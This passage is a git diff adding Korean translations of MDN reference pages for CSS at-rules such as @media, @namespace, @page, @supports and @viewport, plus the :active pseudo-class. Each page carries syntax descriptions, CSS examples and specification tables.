A percentage of the time through the animation sequence at which the specified keyframe should occur.
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Examples

+ +

See CSS animations for examples.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Animations', '#keyframes', '@keyframes') }}{{ Spec2('CSS3 Animations') }} 
+ +

Browser compatibility

+ +

{{Compat("css.at-rules.keyframes")}}

+ +

Notes

+ +
    +
  1. @keyframes not supported in an inline or scoped stylesheet in Firefox ({{bug(830056)}}).
  2. +
+ +

See also

+ + diff --git a/files/ko/web/css/@media/index.html b/files/ko/web/css/@media/index.html new file mode 100644 index 0000000000..6c06996035 --- /dev/null +++ b/files/ko/web/css/@media/index.html @@ -0,0 +1,153 @@ +--- +title: '@media' +slug: Web/CSS/@media +tags: + - '@media' + - At-rule + - CSS + - Reference + - 미디어 쿼리 +translation_of: Web/CSS/@media +--- +
{{CSSRef}}
+ +

@media CSS @규칙은 스타일 시트의 일부를 하나 이상의 미디어 쿼리 결과에 따라 적용할 때 사용할 수 있습니다. @media를 사용해 미디어 쿼리를 지정하면 해당 쿼리를 만족하는 장치에서만 CSS 블록을 적용할 수 있습니다.

+ +
+

참고: JavaScript에서는 @media를 {{domxref("CSSMediaRule")}} CSS 객체 모델 인터페이스로 접근할 수 있습니다.

+
+ +

구문

+ +

@media @규칙은 최상위 코드나, 아무 조건부 그룹 @규칙 안에 중첩해 작성할 수 있습니다.

+ +
/* 최상위 코드 레벨 */
+@media screen and (min-width: 900px) {
+  article {
+    padding: 1rem 3rem;
+  }
+}
+
+/* 다른 조건부 @규칙 내에 중첩 */
+@supports (display: flex) {
+  @media screen and (min-width: 900px) {
+    article {
+      display: flex;
+    }
+  }
+}
+
+ +

미디어 쿼리 구문에 관한 내용은 미디어 쿼리 사용하기 문서를 참고하세요.

+ +

접근성 고려사항

+ +

글씨 크기를 조절한 사용자를 위해서, 미디어 쿼리의 {{cssxref("<length>")}} 자리에는 em을 사용하는게 좋습니다.

+ +

empx 모두 유효한 단위지만, 사용자가 브라우저의 글씨 크기를 변경했다면 em이 더 자연스럽게 동작합니다.

+ +

Level 4 미디어 쿼리를 통한 사용자 경험 향상도 고려해보세요. 예컨대 prefers-reduced-motion 쿼리를 사용하면 사용자가 시스템에 애니메이션을 최소로 줄여달라고 요청했는지 알 수 있습니다.

+ +

보안

+ +

미디어 쿼리는 사용자의 장치와 더 나아가 기능과 디자인에 대한 통찰을 제공하므로, "핑거프린팅"을 통해 장치 고유 식별자로 활용하거나, 그보단 덜 해도 사용자가 원하지 않을 수준의 분류를 하기 위해 오용할 가능성이 있습니다.

+ +

그러므로 브라우저는 기기의 특정을 방지하기 위해 일부 반환 값을 모호하게 할 수 있습니다. 또한 사용자에게 추가 설정을 제공할 수도 있는데, 예를 들어 Firefox의 "핑거프린터 차단" 기능을 활성화하면 많은 수의 미디어 쿼리는 실제 장치 상태 대신 기본 값을 보고하게 됩니다.

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

출력과 화면 미디어 타입 판별

+ +
@media print {
+  body { font-size: 10pt; }
+}
+
+@media screen {
+  body { font-size: 13px; }
+}
+
+@media screen, print {
+  body { line-height: 1.2; }
+}
+
+@media only screen
+  and (min-width: 320px)
+  and (max-width: 480px)
+  and (resolution: 150dpi) {
+    body { line-height: 1.4; }
+}
+ +

Media Queries Level 4부터는 새로운 범위 표현 구문을 사용해 더 간결한 미디어 쿼리를 작성할 수 있습니다.

+ +
@media (height > 600px) {
+    body { line-height: 1.4; }
+}
+
+@media (400px <= width <= 700px) {
+    body { line-height: 1.4; }
+}
+ +

더 많은 예제는 미디어 쿼리 사용하기를 참고하세요.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationCommentFeedback
{{SpecName('CSS5 Media Queries', '#at-media5', '@media')}}Reinstates light-level, inverted-colors and Custom Media Queries, which were removed from Level 4.
+ Adds prefers-reduced-motion, prefers-reduced-transparency, prefers-contrast, and prefers-color-scheme media features.
CSS Working Group drafts GitHub issues
{{SpecName('CSS3 Conditional', '#at-media', '@media')}}Defines the basic syntax of the @media rule.CSS Working Group drafts GitHub issues
{{SpecName('CSS4 Media Queries', '#media', '@media')}} +

Adds scripting, pointer, hover, update, overflow-block, and overflow-inline media features.
+ Deprecates all media types except for screen, print, speech, and all.
+ Makes the syntax more flexible by adding, among other things, the or keyword.

+
CSS Working Group drafts GitHub issues
{{SpecName('CSS3 Media Queries', '#media0', '@media')}}
{{SpecName('CSS2.1', 'media.html#at-media-rule', '@media')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.at-rules.media")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/@media/prefers-color-scheme/index.html b/files/ko/web/css/@media/prefers-color-scheme/index.html new file mode 100644 index 0000000000..1ce1a10a2b --- /dev/null +++ b/files/ko/web/css/@media/prefers-color-scheme/index.html @@ -0,0 +1,89 @@ +--- +title: prefers-color-scheme +slug: Web/CSS/@media/prefers-color-scheme +tags: + - '@media' + - CSS + - Reference + - Web + - prefers-color-scheme +translation_of: Web/CSS/@media/prefers-color-scheme +--- +

prefers-color-scheme CSS 미디어 특성은 사용자의 시스템이 라이트 테마나 다크 테마를 사용하는지 탐지하는 데에 사용됩니다.

+ +

구문

+ +
+
no-preference
+
사용자가 시스템에 선호하는 테마를 알리지 않았음을 나타냅니다. 이 키워드는 boolean context에서 false로 판정됩니다.
+
light
+
사용자가 시스템에 라이트 테마를 사용하는 것을 선호한다고 알렸음을 나타냅니다.
+
dark
+
사용자가 시스템에 다크 테마를 사용하는 것을 선호한다고 알렸음을 나타냅니다.
+
+ +

예제

+ +

이 예제는 검은 배경에 흰 텍스트를 가진 요소를 라이트 테마를 사용하는 사용자가 볼 경우 색을 반대로 해서 나타냅니다.

+ +

HTML

+ +
<div class="themed">Theme</div>
+
+ +

CSS

+ +
.themed {
+  display: block;
+  width: 10em;
+  height: 10em;
+  background: black;
+  color: white;
+}
+
+@media (prefers-color-scheme: light) {
+  .themed {
+    background: white;
+    color: black;
+  }
+}
+
+ +

Result

+ +

{{EmbedLiveSample("예제")}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
+

{{SpecName('CSS5 Media Queries', '#descdef-media-prefers-color-scheme', 'prefers-color-scheme')}}

+
{{Spec2('CSS5 Media Queries')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("css.at-rules.media.prefers-color-scheme")}}

+ +

같이 보기

+ + + +
{{QuickLinksWithSubpages("/en-US/docs/Web/CSS/@media/")}}
diff --git a/files/ko/web/css/@namespace/index.html b/files/ko/web/css/@namespace/index.html new file mode 100644 index 0000000000..d4059df78e --- /dev/null +++ b/files/ko/web/css/@namespace/index.html @@ -0,0 +1,78 @@ +--- +title: '@namespace' +slug: Web/CSS/@namespace +tags: + - At-rule + - CSS + - Layout + - Reference + - Web +translation_of: Web/CSS/@namespace +--- +
{{CSSRef}}
+ +

@namespaceCSS 스타일 시트에서 사용되는 XML 네임스페이스를 정의하는 at-규칙입니다. 정의된 네임스페이스는 오직 그 네임스페이스 내의 요소를 선택만 하기 위해 universal, typeattribute 선택자를 제한하는 데 사용될 수 있습니다. @namespace 규칙은 보통 여러 네임스페이스(인라인 SVG 또는 MathML 있는 HTML5 또는 다양한 어휘를 섞는 XML 등)를 포함하는 문서를 처리하는 경우에만 유용합니다.

+ +

어떤 @namespace 규칙이든 모든 @charset@import 규칙의 다음에 오고 스타일시트에서 모든 다른 at-규칙 및 스타일 선언보다 앞서야 합니다.

+ +

@namespace는 스타일 시트를 위한 기본 네임스페이스를 정의하는 데 사용될 수 있습니다. 기본 네임스페이스가 정의된 경우, 모든 universal 및 type 선택자 (attribute 선택자는 아님, 아래 주의 참조) 는 그 네임스페이스 내 요소에만 적용됩니다.

+ +

@namespace 규칙은 또한 네임스페이스 접두어(namespace prefix)를 정의하는 데도 사용될 수 있습니다. universal, type 또는 attribute 선택자가 네임스페이스 접두어로 시작되는 경우, 그때 그 선택자는 요소 또는 attribute의 네임스페이스 이름이 일치하는 경우에만 일치합니다.

+ +

외부 요소로 알려진 HTML5에서는, 자동으로 네임스페이스가 할당됩니다. 이는 HTML 요소는 마치 XHTML 네임스페이스 (http://www.w3.org/1999/xhtml) 에 있는 것처럼 행동하고, 문서 어디에든 xmlns attribute가 없을지라도, <svg><math> 요소는 그들의 적절한 네임스페이스 (http://www.w3.org/2000/svghttp://www.w3.org/1998/Math/MathML) 가 할당됨을 뜻합니다.

+ +
+

주의: XML에서, 접두어가 직접 attribute (가령, xlink:href)에 정의되지 않는 한, 그 attribute은 네임스페이스가 없습니다. 다시 말해서, attribute은 그들이 붙은 요소의 네임스페이스를 상속받지 않습니다. 이 행동(behaviour)를 일치시키기 위해, CSS에서 기본 네임스페이스는 attribute 선택자에 적용되지 않습니다.

+
+ +

구문

+ +
/* 기본 네임스페이스 */
+@namespace url(XML-namespace-URL);
+@namespace "XML-namespace-URL";
+
+/* 접두어 붙은 네임스페이스 */
+@namespace prefix url(XML-namespace-URL);
+@namespace prefix "XML-namespace-URL";
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
@namespace url(http://www.w3.org/1999/xhtml);
+@namespace svg url(http://www.w3.org/2000/svg);
+
+/* 이는 모든 XHTML <a> 요소와 일치합니다, XHTML이 접두어 붙지 않은 기본 네임스페이스이기에 */
+a {}
+
+/* 이는 모든 SVG <a> 요소와 일치합니다 */
+svg|a {}
+
+/* 이는 XHTML 및 SVG <a> 요소 둘 다와 일치합니다 */
+*|a {}
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Namespaces', '#declaration', '@namespace')}}{{Spec2('CSS3 Namespaces')}}초기 정의
+ +

브라우저 호환성

+ +

{{Compat("css.at-rules.namespace")}}

diff --git a/files/ko/web/css/@page/index.html b/files/ko/web/css/@page/index.html new file mode 100644 index 0000000000..dd9d2e2ac0 --- /dev/null +++ b/files/ko/web/css/@page/index.html @@ -0,0 +1,96 @@ +--- +title: '@page' +slug: Web/CSS/@page +tags: + - At-rule + - CSS + - Layout + - Reference + - Web +translation_of: Web/CSS/@page +--- +
{{CSSRef}}
+ +

@page CSS @규칙은 문서를 인쇄할 때 일부 CSS 속성을 수정하는 데 쓰입니다. @page로 모든 CSS 속성을 바꿀 수는 없습니다. 문서의 margin, orphan, widow(앞단에서 넘어온 짤막한 행) 및 page break만 바꿀 수 있습니다. 다른 CSS 속성을 바꾸려는 시도는 무시됩니다.

+ +
@page {
+  margin: 1cm;
+}
+
+@page :first {
+  margin: 2cm;
+}
+
+ +

@page @규칙은 CSS 객체 모델 인터페이스 {{domxref("CSSPageRule")}}를 통해 액세스될 수 있습니다.

+ +
주의: W3C은 viewport 관련 {{cssxref("<length>")}} 단위, vh, vw, vminvmax 처리법을 논의 중입니다. 그 동안에 @page @규칙 내에서 사용하지 마세요.
+ +

구문

+ +

서술자

+ +
+
size
+
페이지 박스 내 포함 블록의 대상(target) 크기 및 방향을 지정합니다. 한 페이지 박스가 한 페이지 시트에 렌더링 되는 일반적인 경우에, 또한 대상(destination) 페이지 시트의 크기를 나타냅니다.
+
+ +
+
marks
+
문서에 crop 및/또는 registration 마크를 추가합니다.
+
+ +
+
bleed
+
페이지 렌더링이 잘리는(clip) 페이지 박스 너머 범위를 지정합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

예제를 위한 @page의 다양한 가상 클래스 참조해 주세요.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS Logical Properties', '#logical-page', ':recto and :verso')}}{{Spec2('CSS Logical Properties')}}:recto:verso 페이지 선택자 추가
{{SpecName('CSS3 Paged Media', '#at-page-rule', '@page')}}{{Spec2('CSS3 Paged Media')}}{{SpecName('CSS2.1')}}에서 변화 없음, 더 많은 CSS at-규칙이 @page 내에 사용될 수 있지만.
{{SpecName('CSS2.1', 'page.html#page-selectors', '@page')}}{{Spec2('CSS2.1')}}초기 정의
+ +

브라우저 호환성

+ +

{{Compat("css.at-rules.page")}}

diff --git a/files/ko/web/css/@supports/index.html b/files/ko/web/css/@supports/index.html new file mode 100644 index 0000000000..e2d9c44ec3 --- /dev/null +++ b/files/ko/web/css/@supports/index.html @@ -0,0 +1,193 @@ +--- +title: '@supports' +slug: Web/CSS/@supports +tags: + - At-rule + - CSS + - Layout + - Reference + - Web +translation_of: Web/CSS/@supports +--- +
{{CSSRef}}
+ +

@supports CSS @규칙은 주어진 하나 이상의 CSS 기능을 브라우저가 지원하는지에 따라 다른 스타일 선언을 할 수 있는 방법을 제공합니다. 이를 기능 쿼리(feature query)라고 부릅니다. @supports는 스타일의 최상위 단계, 또는 다른 조건부 그룹 규칙에 중첩해 위치할 수 있습니다.

+ +
@supports (display: grid) {
+  div {
+    display: grid;
+  }
+}
+ +
@supports not (display: grid) {
+  div {
+    float: right;
+  }
+}
+ +

JavaScript에서, @supports는 CSS 객체 모델 인터페이스 {{DOMxRef("CSSSupportsRule")}}로 접근할 수 있습니다.

+ +

구문

+ +

@supports @규칙은 하나의 선언 블록을 특정 기능의 브라우저 지원 조건과 연결할 수 있습니다. 지원 조건은 하나 이상의 키-값 쌍을 논리곱(and), 논리합(or), 부정(not)으로 연결해 구성합니다. 괄호로 묶어 우선순위를 지정할 수도 있습니다.

+ +

선언 구문

+ +

가장 기본적인 지원 조건은 단순한 선언(속성 이름과 그 값)입니다. 선언은 괄호로 묶여야 합니다. 다음 예제는 브라우저가 {{cssxref("transform-origin")}} 속성의 값으로 5% 5%가 유효하다고 여길 때 통과합니다.

+ +
@supports (transform-origin: 5% 5%) {}
+ +

함수 구문

+ +

두 번째 기본적인 지원 조건은 지원 함수로, 모든 브라우저가 함수 구문을 지원하지만 지원 함수 자체는 아직 표준화 중입니다.

+ +

selector() {{experimental_inline}}

+ +

브라우저가 주어진 선택자를 지원하는지 판별합니다. 다음 예제는 브라우저가 자식 결합자를 지원할 때 통과합니다.

+ +
@supports selector(A > B) {}
+
+ +

not 연산자

+ +

not 연산자를 어떤 표현식 앞에 붙이면 그 반대 결과를 낳는 새로운 표현식을 생성합니다. 다음 예제는 브라우저가 {{cssxref("transform-origin")}} 속성의 값으로 10em 10em 10em유효하지 않다고 여길 때 통과합니다.

+ +
@supports not (transform-origin: 10em 10em 10em) {}
+ +

다른 연산자와 마찬가지로, 선언의 복잡도와 관계 없이 not 연산자를 적용할 수 있습니다. 다음 두 예시는 모두 유효한 구문입니다.

+ +
@supports not (not (transform-origin: 2px)) {}
+@supports (display: grid) and (not (display: inline-grid)) {}
+ +
+

참고: 최상위 not 연산자는 괄호로 감싸지 않아도 괜찮습니다. and, or 등 다른 연산자와 함께 사용할 때는 괄호가 필요합니다.

+
+ +

and 연산자

+ +

and 연산자는 두 표현식의 논리곱으로부터 새로운 표현식을 생성합니다. 새로운 표현식은 두 구성 표현식이 모두 참일 때만 참을 반환합니다. 다음 예제는 두 개의 구성 표현식이 동시에 참이어야만 통과합니다.

+ +
@supports (display: table-cell) and (display: list-item) {}
+ +

다수의 논리곱은 괄호 없이 병치할 수 있습니다. 다음 두 예시는 모두 유효한 구문입니다.

+ +
@supports (display: table-cell) and (display: list-item) and (display:run-in) {}
+@supports (display: table-cell) and ((display: list-item) and (display:run-in)) {}
+ +

or 연산자

+ +

or 연산자는 두 표현식의 논리합으로부터 새로운 표현식을 생성합니다. 새로운 표현식은 두 구성 표현식 중 어느 한 쪽이라도 참이면 참을 반환합니다. 다음 예제는 두 개의 구성 표현식 중 하나라도 참이면 통과합니다.

+ +
@supports (transform-style: preserve) or (-moz-transform-style: preserve) {}
+
+ +

다수의 논리합은 괄호 없이 병치할 수 있습니다. 다음 두 예시는 모두 유효한 구문입니다.

+ +
@supports (transform-style: preserve) or (-moz-transform-style: preserve) or
+          (-o-transform-style: preserve) or (-webkit-transform-style: preserve) {}
+
+@supports (transform-style: preserve-3d) or ((-moz-transform-style: preserve-3d) or
+          ((-o-transform-style: preserve-3d) or (-webkit-transform-style: preserve-3d))) {}
+ +
+

참고: and와 or 연산자를 같이 사용할 때는 괄호를 사용해 연산자 적용 순서를 정의해야 합니다. 그렇지 않으면 조건이 유효하지 않으므로 @-규칙 전체를 무시합니다.

+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

주어진 CSS 속성의 지원 여부 판별

+ +
@supports (animation-name: test) {
+    … /* 애니메이션 속성을 접두사 없이 사용할 수 있을 때 CSS 적용 */
+    @keyframes { /* 다른 @-규칙을 중첩 가능 */
+      …
+    }
+}
+
+ +

주어진 CSS 속성 및 접두사 버전의 지원 여부 판별

+ +
@supports ( (perspective: 10px) or (-moz-perspective: 10px) or (-webkit-perspective: 10px) or
+            (-ms-perspective: 10px) or (-o-perspective: 10px) ) {
+    … /* 접두사가 붙더라도 3D 변형을 지원하면 CSS 적용 */
+}
+
+ +

특정 CSS 속성의 미지원 여부 판별

+ +
@supports not ((text-align-last: justify) or (-moz-text-align-last: justify) ){
+    … /* text-align-last: justify를 대체할 CSS */
+}
+ +

사용자 정의 속성 지원 여부 판별

+ +
@supports (--foo: green) {
+  body {
+    color: var(--varName);
+  }
+}
+ +

선택자 지원 여부 판별 (예: {{CSSxRef(":is", ":is()")}})

+ +

{{SeeCompatTable}}

+ +
/* :is()를 지원하지 않는 브라우저에서는 무시함 */
+:is(ul, ol) > li {
+  … /* :is() 선택자를 지원할 때 적용할 CSS */
+}
+
+@supports not selector(:is(a, b)) {
+  /* :is()를 지원하지 않을 때 대체할 CSS */
+  ul > li,
+  ol > li {
+    … /* :is()를 지원하지 않을 때 적용할 CSS */
+  }
+}
+
+@supports selector(:nth-child(1n of a, b)) {
+  /* @supports로 먼저 묶지 않으면 :nth-child()의 of 구문을
+     지원하지 않는 브라우저에서 스타일을 잘못 적용할 수 있음 */
+  :is(:nth-child(1n of ul, ol) a,
+  details > summary) {
+    … /* :is() 선택자와 :nth-child()의 of 구문을 지원할 때 적용할 CSS */
+  }
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Conditional 4", "#at-supports", "@supports")}}{{Spec2("CSS Conditional 4")}}Adds the selector()function.
{{SpecName("CSS3 Conditional", "#at-supports", "@supports")}}{{Spec2("CSS3 Conditional")}}Initial definition.
+ +

브라우저 호환성

+ +

{{Compat("css.at-rules.supports")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/@viewport/height/index.html b/files/ko/web/css/@viewport/height/index.html new file mode 100644 index 0000000000..4a97de7c7f --- /dev/null +++ b/files/ko/web/css/@viewport/height/index.html @@ -0,0 +1,75 @@ +--- +title: height +slug: Web/CSS/@viewport/height +tags: + - '@viewport' + - CSS + - CSS Descriptor + - Reference +translation_of: Web/CSS/@viewport +--- +
{{CSSRef}}
+ +

height CSS 서술자(descriptor)는 뷰포트의 {{cssxref("@viewport/min-height", "min-height")}} 및 {{cssxref("@viewport/max-height", "max-height")}} 둘 다 설정하기 위한 단축(shorthand) 설명자입니다. 뷰포트 길이 값 하나를 주어 최소 높이 및 최대 높이 둘 다를 주어진 값으로 설정합니다.

+ +

뷰포트 값이 두 개 주어진 경우, 첫 번째 값은 최소 높이로 두 번째 값은 최대 높이로 설정합니다.

+ +

{{cssinfo}}

+ +

구문

+ +
/* 한 값 */
+height: auto;
+height: 320px;
+height: 15em;
+
+/* 두 값 */
+height: 320px 200px;
+
+ +

+ +
+
auto
+
다른 CSS 설명자의 값에서 계산된 사용값(used value).
+
<length>
+
음이 아닌 절대 또는 상대 길이.
+
<percentage>
+
가로 및 세로 길이 각각을 위한 줌 배율(factor) 1.0에서 초기 뷰포트의 너비 또는 높이에 대한 퍼센트 값. 음이 아니어야 합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +
@viewport {
+  height: 500px;
+}
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Device', '#descdef-viewport-height', '"height" descriptor')}}{{Spec2('CSS3 Device')}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("css.at-rules.viewport.height")}}

diff --git a/files/ko/web/css/@viewport/index.html b/files/ko/web/css/@viewport/index.html new file mode 100644 index 0000000000..e77278c61e --- /dev/null +++ b/files/ko/web/css/@viewport/index.html @@ -0,0 +1,120 @@ +--- +title: '@viewport' +slug: Web/CSS/@viewport +tags: + - Adaptation + - At-rule + - CSS + - Device + - NeedsContent + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/CSS/@viewport +--- +
{{SeeCompatTable}}{{CSSRef}}
+ +

The @viewport CSS at-rule lets you configure the {{glossary("viewport")}} through which the document is viewed. It's primarily used for mobile devices, but is also used by desktop browsers that support features like "snap to edge" (such as Microsoft Edge).

+ +

Lengths specified as percentages are calculated relative to the initial viewport, which is the viewport before any user agent or authored styles have had an opportunity to adjust the viewport. This is typically based on the size of the window on desktop browsers that aren't in full screen mode.

+ +

On mobile devices (or desktop devices that are in full screen mode), the initial viewport is usually the portion of a device's screen that is available for application use. This may be either the full screen or the full screen area minus areas controlled by the operating system (such as a taskbar) or the application-available screen area (either the full screen or the screen minus any areas owned by the operating system or other applications).

+ +
@viewport {
+  width: device-width;
+}
+ +

Syntax

+ +

The at-rule contains a set of nested {{glossary("descriptor (CSS)", "descriptor")}}s in a CSS block that is delimited by curly braces.

+ +

A zoom factor of 1.0 or 100% corresponds to no zooming. Larger values zoom in. Smaller values zoom out.

+ +

Descriptors

+ +

Browser support for @viewport is weak at this time, with support being largely available in Internet Explorer and Edge. Even in those browsers, only a small number of descriptors are available. Browsers will ignore @viewport if they don't support it, and will ignore any descriptors that they don't recognize.

+ +
+
min-width
+
Used in the determination of the width of the viewport when the document is first displayed.
+
max-width
+
Used in the determination of the width of the viewport when the document is first displayed.
+
width
+
A shorthand descriptor for setting both min-width and max-width.
+
min-height
+
Used in the determination of the height of the viewport when the document is first displayed.
+
max-height
+
Used in the determination of the height of the viewport when the document is first displayed.
+
height
+
A shorthand descriptor for setting both min-height and max-height.
+
zoom
+
Sets the initial zoom factor.
+
min-zoom
+
Sets the minimum zoom factor.
+
max-zoom
+
Sets the maximum zoom factor.
+
user-zoom
+
Controls whether or not the user should be able to change the zoom factor.
+
orientation
+
Controls the document's orientation.
+
{{cssxref("@viewport/viewport-fit", "viewport-fit")}}
+
Controls the display of the document on non-rectangular displays.
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Examples

+ +
@viewport {
+  min-width: 640px;
+  max-width: 800px;
+}
+
+@viewport {
+  zoom: 0.75;
+  min-zoom: 0.5;
+  max-zoom: 0.9;
+}
+
+@viewport {
+  orientation: landscape;
+}
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Round Display", "#extending-viewport-rule", "@viewport")}}{{Spec2("CSS Round Display")}}Defined the {{cssxref("@viewport/viewport-fit", "viewport-fit")}} descriptor.
{{SpecName('CSS3 Device', '#the-atviewport-rule', '@viewport')}}{{Spec2('CSS3 Device')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("css.at-rules.viewport")}}

+ +

See also

+ + diff --git a/files/ko/web/css/@viewport/viewport-fit/index.html b/files/ko/web/css/@viewport/viewport-fit/index.html new file mode 100644 index 0000000000..e29d893382 --- /dev/null +++ b/files/ko/web/css/@viewport/viewport-fit/index.html @@ -0,0 +1,72 @@ +--- +title: viewport-fit +slug: Web/CSS/@viewport/viewport-fit +translation_of: Web/CSS/@viewport +--- +
{{CSSRef}}{{Draft}}{{SeeCompatTable}}
+ +

viewport-fit CSS {{CSSxRef("@viewport")}} {{Glossary("Descriptor (CSS)", "설명자")}}는 문서의 뷰포트가 화면을 채우는 방법을 제어합니다.

+ +

Syntax

+ +
/* Keyword values */
+viewport-fit: auto;
+viewport-fit: contain;
+viewport-fit: cover;
+
+ +

Values

+ +
+
auto
+
이 값은 초기 레이아웃 뷰포트에 영향을 미치지 않으며 전체 웹 페이지가 보여집니다.
+
contain
+
뷰포트 크기가 디스플레이 내에 새겨진 가장 큰 직사각형에 들어맞게 조정됩니다.
+
+ +
+
cover
+
뷰포트 크기가 기기 디스플레이를 모두 채우도록 조정됩니다. 이때 중요한 내용이 디스플레이 바깥 영역으로 밀려나지 않도록 safe area inset 변수를 함께 사용할 것을 권장합니다.
+
+ +

Formal syntax

+ +
auto | contain | cover
+
+ + + +

접근성 문제

+ +

viewport-fit 설명자를 사용할 때에는 모든 기기의 디스플레이가 직사각형인 것은 아니므로 safe area inset 변수를 함께 사용해야 함을 기억하세요.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Round Display", "#viewport-fit-descriptor", '"viewport-fit" descriptor')}}{{Spec2("CSS Round Display")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.at-rules.viewport.viewport-fit")}}

+ +

See also

+ + diff --git a/files/ko/web/css/@viewport/zoom/index.html b/files/ko/web/css/@viewport/zoom/index.html new file mode 100644 index 0000000000..137b2eb6a9 --- /dev/null +++ b/files/ko/web/css/@viewport/zoom/index.html @@ -0,0 +1,70 @@ +--- +title: zoom +slug: Web/CSS/@viewport/zoom +tags: + - CSS + - CSS Descriptor + - Graphics + - Layout + - NeedsExample + - Reference +translation_of: Web/CSS/@viewport +--- +
{{ CSSRef }}
+ +

zoom CSS 설명자(descriptor)는 {{cssxref("@viewport")}}에 의해 정의된 문서의 초기 줌 배율(factor)을 설정합니다.

+ +

1.0 또는 100%줌 배율은 줌이 없음에 해당합니다. 큰 값은 확대. 작은 값은 축소.

+ +

{{cssinfo}}

+ +

구문

+ +
/* 키워드 값 */
+zoom: auto;
+
+/* <number> 값 */
+zoom: 0.8;
+zoom: 2.0;
+
+/* <percentage> 값 */
+zoom: 150%;
+
+ +

+ +
+
auto
+
사용자 에이전트가 문서의 초기 줌 배율을 설정합니다. 사용자 에이전트는 문서가 그 배율을 찾기 위해 렌더링되는 캔버스 영역의 크기를 사용할 수 있습니다.
+
<number>
+
줌 배율로 사용되는 음이 아닌 수. 배율 1.0은 줌이 수행되지 않음을 뜻합니다. 1.0보다 큰 값은 확대 작은 값은 축소 효과가 됩니다.
+
<percentage>
+
줌 배율로 사용되는 음이 아닌 퍼센트 값. 배율 100%는 줌이 수행되지 않음을 뜻합니다. 100%보다 큰 값은 확대 작은 값은 축소 효과가 됩니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Device', '#the-lsquozoomrsquo-descriptor', '"zoom" descriptor')}}{{Spec2('CSS3 Device')}}초기 스펙
+ +

브라우저 호환성

+ +

{{Compat("css.at-rules.viewport.zoom")}}

diff --git a/files/ko/web/css/_colon_active/index.html b/files/ko/web/css/_colon_active/index.html new file mode 100644 index 0000000000..eb3ccff192 --- /dev/null +++ b/files/ko/web/css/_colon_active/index.html @@ -0,0 +1,127 @@ +--- +title: ':active' +slug: 'Web/CSS/:active' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Web +translation_of: 'Web/CSS/:active' +--- +
{{CSSRef}}
+ +

:active CSS 의사 클래스는 사용자가 활성화한 요소(버튼 등)를 나타냅니다. 마우스를 사용하는 경우, "활성"이란 보통 마우스 버튼을 누르는 순간부터 떼는 시점까지를 의미합니다.

+ +
/* 활성화된 모든 <a> 태그를 선택 */
+a:active {
+  color: red;
+}
+ +

:active 의사 클래스는 대개 {{HTMLElement("a")}}, {{HTMLElement("button")}}과 함께 사용합니다. 다른 흔한 대상으로는 활성화된 요소를 포함한 다른 요소와, 연결된 {{HTMLElement("label")}}로 선택한 입력 폼 요소 등이 있습니다.

+ +

:active 의사 클래스로 정의한 스타일은 자신보다 뒤에 위치하고 동등한 명시성을 가진 다른 링크 의사 클래스({{cssxref(":link")}}, {{cssxref(":hover")}}, {{cssxref(":visited")}})가 덮어씁니다. 링크를 적절히 디자인하려면 LVHA-순서(:link:visited:hover:active)를 따라, :active 규칙을 다른 모든 링크 규칙들보다 뒤에 배치하세요.

+ +
참고: CSS3 명세에 따르면, 다수의 버튼을 가진 마우스라도 :active 의사 클래스는 주 버튼에만 적용돼야 합니다. 오른손잡이 마우스 기준, 주 버튼은 보통 맨 왼쪽 버튼입니다.
+ +

구문

+ +
{{csssyntax}}
+ +

예제

+ +

활성화 링크

+ +

HTML

+ +
<p>링크를 포함하는 문단입니다.
+  <a href="#">이 링크는 클릭하는 동안 색이 빨갛게 됩니다.</a>
+  이 문단은 클릭하는 동안 배경색이 회색이 됩니다.
+</p>
+ +

CSS

+ +
a:link { color: blue; }          /* 방문하지 않은 링크 */
+a:visited { color: purple; }     /* 방문한 링크 */
+a:hover { background: yellow; }  /* 마우스를 올린 링크 */
+a:active { color: red; }         /* 활성화한 링크 */
+
+p:active { background: #eee; }   /* 활성화한 문단 */
+ +

결과

+ +

{{EmbedLiveSample('활성화_링크')}}

+ +

활성화 폼 요소

+ +

HTML

+ +
<form>
+  <label for="my-button">내 버튼: </label>
+  <button id="my-button" type="button">제 라벨이나 저를 클릭해보세요!</button>
+</form>
+ +

CSS

+ +
form :active {
+  color: red;
+}
+
+form button {
+  background: white;
+}
+ +

결과

+ +

{{EmbedLiveSample('활성화_폼_요소')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'scripting.html#selector-active', ':active')}}{{Spec2('HTML WHATWG')}}
{{SpecName('CSS4 Selectors', '#active-pseudo', ':active')}}{{Spec2('CSS4 Selectors')}}No change.
